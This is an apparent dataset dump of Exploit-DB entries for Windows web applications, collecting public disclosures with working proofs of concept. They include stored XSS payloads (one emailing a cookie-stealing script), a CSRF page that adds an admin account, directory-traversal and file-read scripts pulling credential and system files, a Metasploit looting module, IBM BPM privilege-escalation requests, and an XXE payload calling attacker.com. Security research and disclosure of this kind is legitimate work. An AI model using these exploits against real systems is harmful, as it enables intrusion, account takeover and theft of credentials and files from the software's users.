deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18982
Description: Hexamail Server 4.4.5 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2012-06-04
Author: modpr0be

Exploit:
#Title: Hexamail Server <= 4.4.5 Persistent XSS Vulnerability
#Date: June 3, 2012
#Author: modpr0be[at]Spentera, @modpr0be
#URL: http://www.spentera.com
#Software URL:http://www.hexamail.com/download/hexamailserversetup4.4.5.002.exe
#Tested on
#       OS: Windows XP SP3, Windows 2003 SP2, Windows 7 SP1
#       Browser: Chrome 19.0.x, IE9, Safari 5.1.7

Software Description
====================
Hexamail provides intelligent email software solutions. Leveraging the latest 
advanced techniques, such as Bayesian matching, our products enable customers 
to eliminate email intrusions such as spam, malware, spyware, phishing attacks 
and virus.

Vulnerability Description
=========================
Hexamail Server suffers persistent XSS vulnerability in the mail body, allowing 
malicious user to execute scripts in a victim’s browser to hijack user sessions, 
redirect users, and or hijack the user’s browser.

Proof of concept
================
By sending a malicious script to the victim email, the webmail automatically 
load the mail body, so the script will be automatically executed without permission 
from user.

root@bt:~/# cat > meal.txt
<html>
<body>
<h1>XSS pop up</h1>
<script>alert('Hi, what is this?');</script>
</body>
</html>
root@bt:~/#

Send email to the victim:
root@bt:~/# sendemail -f bob@example.com -t david@example.com -xu bob@example.com \
-xp bob123 -u "Want some meal..?" -o message-file=meal.txt -s mail.example.com

Vendor timeline
===============
04/20/2012 - Issue discovered
04/20/2012 - Vendor contacted
04/27/2012 - Vendor respond and provides new upgrade version
04/30/2012 - Issue still affected on the latest upgrade version
04/30/2012 - Vendor said they still fixing the problem
05/10/2012 - Email sent to ask about the fix progress
06/02/2012 - No response. Advisory published.

Solution
============
Not available.

References
============
http://www.hexamail.com
http://www.spentera.com/2012/06/hexamail-server-4-4-5-persistent-xss-vulnerability/
Exploit-DB #18567
Description: HomeSeer HS2 and HomeSeer PRO - Multiple Vulnerabilities
Type: webapps
Platform: windows
Date: 2012-03-07
Author: Silent_Dream

Exploit:
# HomeSeer Home Automation Software Multiple Web Vulnerabilities (0day)
# Date: 3/6/12
# Author: Silent_Dream
# Software Link: http://www.homeseer.com/pub/setuphs2_5_0_49.exe
# Version: 2.5.0.49
# Tested on: Win XP
# CERT VU#796883: http://www.kb.cert.org/vuls/id/796883
#Note: This affects both HomeSeer HS2 and HomeSeer PRO.  
#Previously reported XSS attack vector (elog) reported to CERT was fixed in 2.5.0.49 update.

A) Directory Traversal: Retrieving the users.cfg file which contains HomeSeer usernames, access levels, and encrypted passwords.

ncat 192.168.0.1 80
GET /..\Config\users.cfg HTTP/1.0

HTTP/1.0 200 OK
Server: HomeSeer
Content-Type: application/
Accept-Ranges: bytes
Content-Length: 195

2
EFBBBF[PII_REDACTED],EFBBBF4853454E4332774B51364D614C53436D534D41697A[PII_REDACTED]4D513
D3D,EFBBBF31
EFBBBF[PII_REDACTED]6C74,EFBBBF4853454E43327A68336A307A412F585153776F7032575A54534E6
3773D3D,EFBBBF36

B) Cross-Site Request Forgery: It is possible to add a new admin user by tricking logged-in admin to visit a malicious URL.
This POC adds user "hacker" with pass "hacked" as a HomeSeer admin.

 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>HomeSeer CSRF Exploit to add new administrator account</H2>
 <form method="POST" name="form0" action="http://localhost/ctrl ">
 <input type="hidden" name="wuNEWUSERNAME" value="hacker"/>
 <input type="hidden" name="wuNEWUSERPASS" value="hacked"/>
 <input type="hidden" name="wuNEWUSERRIGHTS" value="Admin"/>
 <input type="hidden" name="wuNEWUSERADD" value="Add"/>
 <input type="hidden" name="stay_on_webusers" value="Hello"/>
 </form>
 </body>
 </html>
Exploit-DB #18077
Description: HP Data Protector Media Operations 6.20 - Directory Traversal
Type: webapps
Platform: windows
Date: 2011-11-04
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  HP Data Protector Media Operations
              http://www8.hp.com/us/en/software/software-product.html?compURI=tcm:245-936920
Versions:     <= 6.20
Platforms:    Windows and others
Bug:          directory traversal
Exploitation: remote, versus server
Date:         03 Nov 2011 (found 06 Jul 2011)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"HP data protection software reduces backup and recovery complexity and
cost by protecting virtual and physical applications—whether you have
one server or thousands."


#######################################################################

======
2) Bug
======


Directory traversal through opcode 0x10 which allows to download the
files in the partition where is installed the program.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/hpdpmedia_1.dat
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18077.dat

  nc SERVER 19813 < hpdpmedia_1.dat


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #50645
Description: HTTP Commander 3.1.9 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: windows
Date: 2022-01-10
Author: Oscar Sandén

Exploit:
# Exploit Title: HTTP Commander 3.1.9 - Stored Cross Site Scripting (XSS)
# Date: 07/01/2022
# Exploit Author: Oscar Sandén
# Vendor Homepage: https://www.element-it.com
# Software Link: https://www.element-it.com/downloads.aspx
# Version: 3.1.9
# Tested on: Windows Server 2016

[Description]
There is a stored XSS in the 'Zip content' feature of the HTTP commander application. The vulnerable field is the filename of the files inside the zip. This vulnerability exists in 3.x of the HTTP commander application.

[Steps to reproduce]
1)	Create a file with a xxs payload in its name. Examples:
<img src=x onerror=alert(1)>.txt
<img src=x onerror="document.location='https:'+String.fromCharCode(47)+String.fromCharCode(47)+'exploit-db.com'">.txt
Or some other JS you like.
2)	Zip the files
3)	Upload the ZIP-file
4)	In HTTP commander, right click the file and select ZIP-content.
5)	If the files are in a subfolder, expand it until the filenames are shown.

[Exploit]
touch payload/<img src=x onerror=alert(1)>.txt
Zip -r test.zip /payload
Exploit-DB #9885
Description: httpdx 1.4.6b - Source Disclosure
Type: webapps
Platform: windows
Date: 2009-10-21
Author: Dr_IDE

Exploit:
################################################
#
# httpdx <= 1.4.6b Remote Source Disclosure
# Found By: Dr_IDE
# Tested On: Windows XPSP3
# Download: httpdx.sourceforge.net/downloads/
#
################################################

- Description -

httpdx Web Server <= 1.4.6b is a Windows based HTTP server. This is the latest
version of the application available.

httpdx is vulnerable to remote arbitrary source code disclosure by the following means.

- Technical Details -

http://[ webserver IP]/[ file ][.%20]

http://172.16.2.101/index.html.%20
http://172.16.2.101/test.py.%20
http://172.16.2.101/test.php.%20

#[pocoftheday.blogspot.com]
Exploit-DB #31423
Description: IBM Business Process Manager - User Account Reconfiguration
Type: webapps
Platform: windows
Date: 2014-02-05
Author: 0in

Exploit:
Exploit Title: IBM BMPS (BPM) User account reconfiguration/Privilege Escalation/Information Disclosure
Date: 31.01.14
Exploit Author: 0in
Software link: http://www-03.ibm.com/software/products/en/business-process-manager-family/
Version: 8.0.1.1 (newest versions can also be vulnerable)

Vulnerability Description:
Its possible to change some specfic values in accounts database (in my case it was LDAP) by authenticated but not privileged user, invoking setPreference action

------------------------------------------------------------------------------------
First of all, we should enumerate existing users to find administrator account.
We should proceed following request:

GET /rest/bpm/wle/v1/users?filter=*admin*&maxresult=11&assignTaskidFilter=[INT TASK ID]&namesonly=false&parts=all HTTP/1.1
x-requested-with: XMLHttpRequest

In result of this request we can get response like this:
{"status":"200","data":{"users":[{"userID":1,"userName":"admin","fullName":"Administrator BPMS","isDisabled":false,"primaryGroup":null,"emailAddress":"admin@corpo","userPreferences":{ "Portal Default Page":"/dashboards?dashboard=%2Fteamworks%2FexecuteServiceByName%3FprocessApp%3DSCIM%26serviceName%History%2Bprocess%25C3%25B3w%26snapshot%3D4.0.0%26zResumable%3Dtrue", "Task Email Address":"admin@corpo","Task Notification":"true","LDAPDistinguishedName":"CN=bpmsadmin,OU=confidential,OU=Users,OU=RU,DC= confidential,DC= confidential,DC=corp,DC= confidential ","Locale":"ru","Alert On Assign And Run":"true"},"tasksCollaboration":null,"memberships":["Debug","admins","authors","portal_admins","process_owners","allusers","All Users_S_da7e4d23-78cb-4483-*******",[]

Ok, so now we have administrator username, in next step we should set his email or LDAPDistinguishedName to our, to invoke this, we should generate url like this:

PUT /rest/bpm/wle/v1/user/admin?action=setPreference&key=Task%20Email%20Address&value=AttackerEmail@corpo HTTP/1.1
x-requested-with: XMLHttpRequest

Or just set LDAP preferences to our:
PUT /rest/bpm/wle/v1/user/admin?action=setPreference&key=LDAPDistinguishedName&value= CN=ATTACKER_LOGIN,OU=w00tw00t,OU=Users,OU=Group,DC=my,DC=sub,DC=domain,DC=corpo HTTP/1.1


Now attacker can receive all notifications about victim processes in his email, attacker can change victim password using forgotten password option, change victim portal default page, LDAP Attributes. We have lot of other possibilities to exploit this situation it depends of BPMS service context.
Exploit-DB #20368
Description: IBM Proventia Network Mail Security System 2.5 - POST File Read
Type: webapps
Platform: windows
Date: 2012-08-08
Author: muts

Exploit:
#!/usr/bin/python

'''

Author: muts of Offensive Security
Product: IBM ISS Proventia Mail Security
Version: 2.5
Vendor Site: http://www.ibm.com/us/en/
Product Page: http://www-935.ibm.com/services/us/en/it-services/proventia-network-mail-security-system.html

Timeline:

04 Jun 2012: Vulnerability reported to CERT
08 Jun 2012: Response received from CERT with disclosure date set to 20 Jul 2012
19 Jul 2012: Reflected XSS Fixed: http://www-01.ibm.com/support/docview.wss?uid=swg21605626
19 Jul 2012: Arbitrary File Read Fixed: http://www-01.ibm.com/support/docview.wss?uid=swg21605630
08 Aug 2012: Public Disclosure

The application is vulnerable to a post-authentication reflected XSS:
https://server/pvm_eventlog_backend/logs_eventDetails.php?recordNumber=42&alertID=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%28123%29%3C/script%3E&MaxEvents=0]]

In addition, there is also a post-authentcation arbitary file-reading vulnerability. The proof of concept code below can be used to replicate the vulnerability.

'''

# IBM Proventia Network Mail Security System POST file read

import urllib
import urllib2
import httplib

username = "admin"
password = "admin"

url = "https://172.16.254.180/javatester_init.php"

password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(None, "https://172.16.254.180/", username, password)
handler = urllib2.HTTPBasicAuthHandler(password_mgr)
opener = urllib2.build_opener(handler)
data = urllib.urlencode({'template' : '../../../../../etc/passwd','async' : '3','access' : 'direct'})
req = urllib2.Request(url, data)
f = opener.open(req)
print f.read()
Exploit-DB #20478
Description: IBM Websphere MQ File Transfer Edition Web Gateway - Insufficient Access Control
Type: webapps
Platform: windows
Date: 2012-08-13
Author: Nir Valtman

Exploit:
*Exploit Author:* Nir Valtman

*Affected Platforms: *Version 7.0.4 and all previous versions of
WebSphereMQ File Transfer
Edition<http://publib.boulder.ibm.com/infocenter/wmqfte/v7r0/index.jsp>running
on all platforms are affected.

Apparently they
published the CVE above without mentioning my name, since I found it in the
same time while IBM's team found it. This mail contains the exploitation
methods of the CVE
above<http://www-01.ibm.com/support/docview.wss?uid=swg21607481>

*Description:* Malicious user is able to access other user's files and
filespaces.
*
*
*Details:*
*1. Privilege escalation to view other user's files and filespace*
I logged on using user "user2" (non-administrative account
with download\upload files permissions only) and then sent a GET request to
the following URL:
/transfer/?start=0&count=10&metadata=fteSamplesUser=user1
As a result, the response included the data of "user1".

*2. Privilege escalation to download user user's files*
In order to execute the attack, the malicious user should know the file
name and the related ID before executing the attack.
In this scenario, The malicious user is "user2" and the attacked user is
"user1".
If "user2" knows the url to file of "user1", then he can access this file,
e.g. "user2" is able to access the following URL using a GET request:
/filespace/user1
/414d512057514d[PII_REDACTED]20202020eb3bfc4f2030df02/changedthisfilename.txt

Best Regards,
Nir Valtman
Exploit-DB #42699
Description: Indusoft Web Studio - Directory Traversal Information Disclosure (Metasploit)
Type: webapps
Platform: windows
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Indusoft Web Studio Directory Traversal',
			'Description'    => %q{
				This module exploits a flaw found in Indusoft Web Studio
				<= 7.1 before SP2 Patch 4. This specific flaw allows users
				to browse outside of the webroot to download files found
				on the underlying system
			},
			'Author'         => [ 'James Fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'CVE', '2014-0780' ],
					[ 'ZDI', '14-118/' ],
					[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-107-02']
				],
			'DisclosureDate' => 'Jan 18 2013'))

		register_options(
			[
				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
				Opt::RPORT(80)
			], self.class )
	end

	def run

	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
	levels = "/" + ("../" * depth)

	res = send_request_raw({
		'method'	=> 'GET',
		'uri'		=> "/" + levels + datastore['FILE'],
	})

	if res and res.code == 200 and res.message =~ /Sending file/
		loot = res.body
		if not loot or loot.empty?
			print_status("File from #{rhost}:#{rport} is empty...")
			return
		end
		file = ::File.basename(datastore['FILE'])
		path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
		print_status("Stored #{datastore['FILE']} to #{path}")
		return
	end

	end
end
Exploit-DB #35410
Description: InterPhoto Image Gallery 2.4.2 - 'IPLANG' Local File Inclusion
Type: webapps
Platform: windows
Date: 2011-03-04
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46759/info

InterPhoto Image Gallery is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

InterPhoto Image Gallery 2.4.2 is vulnerable; other versions may also be affected. 

# ------------------------------------------------------------------------
# Software................InterPhoto 2.4.2
# Vulnerability...........Local File Inclusion
# Threat Level............Critical (4/5)
# Download................http://www.weensoft.com/
# Release Date............3/4/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ........................Bryce Darling <bryce@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A local file inclusion vulnerability in InterPhoto 2.4.2 can be
# exploited to include arbitrary files.
# 
# 
# --PoC--

import socket

host = 'localhost'
path = '/interphoto'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)    

s.send('POST ' + path + '/about.php HTTP/1.1\r\n'
    'Host: localhost\r\n'
    'Connection: keep-alive\r\n'
    'User-Agent: x\r\n'
    'Content-Length: 0\r\n'
    'Cache-Control: max-age=0\r\n'
    'Origin: null\r\n'
    'Content-Type: multipart/form-data; boundary=----x\r\n'
    'Cookie: IPLANGV6O1or24t6cI=' + '..%2f' * 8 + 'windows%2fwin.ini%00\r\n'
    'Accept: text/html\r\n'
    'Accept-Language: en-US,en;q=0.8\r\n'
    'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
    '\r\n')

print s.recv(8192)
Exploit-DB #25086
Description: Ipswitch IMail 11.01 - Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2013-04-29
Author: DaOne

Exploit:
#!/usr/bin/perl
# Exploit Title: Ipswitch IMail 11.01 XSS Vulnerability
# Date: 26-04-2013
# Author: DaOne  aka Mocking Bird
# Vendor Homepage: http://www.ipswitch.com/
# Platform: windows

use Net::SMTP;
 
# ARGV Check
if ($#ARGV != 2)
{
    print "\nUSAGE: IMail.pl <Mail Server> <Attacker Email> <VicTim Email>\n";
    exit;
}
 
$host = $ARGV[0];
$attacker = $ARGV[1];
$victim = $ARGV[2];
 
# Config SMTP
$smtp = Net::SMTP->new(  Host => $host,
                        Hello => 'Hello world',
                        Timeout => 30)
or die "Couldn't connect to Mail Server\n";
 
# Attacker and Victim email
$smtp->mail($attacker);
$smtp->to($victim);
 
# Send email
$buffer = "From: XSS\n".
"To: testing\n".
"Subject: testing\n".
"MIME-Version: 1.0\n".
"Content-Type: multipart/mixed;\n".
"    boundary=\"--=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]019\"\n\n".
"----=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]019\n".
"Content-Type: text/html;\n".
"charset=\"utf-8\"\n".
"Content-Transfer-Encoding: quoted-printable\n\n".
"XSS\n".
"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n".
"<HTML><BODY>\n".
"<script >alert(document.cookie)</script >\n".
"</BODY></HTML>\n\n".
"----=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]019--";
 
$smtp->data();
$smtp->datasend($buffer);
$smtp->quit();
 
print "Send.\n";
# Proof http://oi40.tinypic.com/34yw8hz.jpg
Exploit-DB #33633
Description: IPSwitch IMail Server WEB client 12.4 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2014-06-03
Author: Peru

Exploit:
# Exploit Title: IPSwitch IMail Server WEB client 12.4 persistent XSS
# Google Dork: 
# Date: 3 june 2014
# Exploit Author: Peru (GoSecure!)
# Vendor Homepage: www.ipswitch.com
# Software Link: http://www.imailserver.com/try/
# Version: Tested on 12.3 and 12.4 before 12.4.1.15
# Tested on: WindowsServer2008R2 STD SP1
# CVE : 2014-3878

Four injection points were useful to create a persistent Cross Site Scripting. All the injections are reached using default Web Client interface, but the Web Client Lite seems to be not vulnerable to these tests.

1. Contacts section:
 A persistent XSS can be reached adding a new contact with a specific string in the Name field and whatever image:

PoC string:
Go<IFRAME SRC="javascript:alert('www.gosecure.it');"></IFRAME>Secure!


When the contact is saved and on mouse over the picture the Name is been displayed in a bubble activating the JS:


2. Contacts section:
 A vulnerability can also be reached in the Adding Group task.

PoC string:
<iframe src="http://www.gosecure.it" height=500 width=500 frameborder=1 align=center></iframe>


3. Calendar section:
A persistent XSS can be reached adding a new event in the Calendar; this event can be spread adding the Meeting Request option.
 Since, using this injection point, the XSS can be spread to other users, this is the most dangerous of the four and can be used to spoofing sessions and therefore compromising the attacked users account

The JavaScript is executed simply viewing the calendar or when the Reminder pops up.

PoC string:
GS!<IFRAME SRC="javascript:alert(‘GoSecure!');"></IFRAME>


4.Task section:
 In a similar way also the tasks are vulnerable to persistent XXS.

PoC string:
<iframe src=http://www.gosecure.it/blog/remote/xss_h.html>
Exploit-DB #45498
Description: iWay Data Quality Suite Web Console 10.6.1.ga - XML External Entity Injection
Type: webapps
Platform: windows
Date: 2018-09-27
Author: Sureshbabu Narvaneni

Exploit:
# Exploit Title: iWay Data Quality Suite Web Console 10.6.1.ga-2016-11-20 – XML External Entity Injection
# Google Dork: N/A
# Date: 2018-09-27
# Exploit Author: Sureshbabu Narvaneni#
# Author Blog : https://nullnews.in
# Vendor Homepage: www.informationbuilders.co.uk
# Software Link: http://www.informationbuilders.co.uk/products/integrity/dqsuite
# Affected Version: 10.6.1.ga
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : N/A

# Technical Description:
# iWay Data Quality Suite Web Console provides web services features. As there is no
# validation present on the web services featured by product while processing
# the user input an attacker can easily inject external entities in the SOAP request and can 
# achieve the successful Remote Code Execution on the server

# Proof Of Concept:

> Access the iWay DQS Web Console application section.
> Create an entry for web service and form a sample SOAP request.
> Send below crafted request to the server to confirm the vulnerability

<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://attacker.com/xxetest">]>
<soapenv:Envelope
xml:soapenv="http://schemas.xmlsoap.org/soap/envelope"
xmlns:ws="http://www.example.com/ws">
<soapenv:Header/>
<soapenv:Body>
<ws:test>
<ws:in>&xxe;</ws:in>
</ws:test>
</soapenv:Body>
</soapenv:Envelope>

> The below log shows that the web service component is vulnerable to XXE.

root@MrR3boot:/var/www/html# tail -f /var/log/apache2/access.log
1xx.xx.xxx.xx - - [25/Sep/2018:01:13:42 -0400] "GET /xxetest HTTP/1.0" 404
474 "-" "-"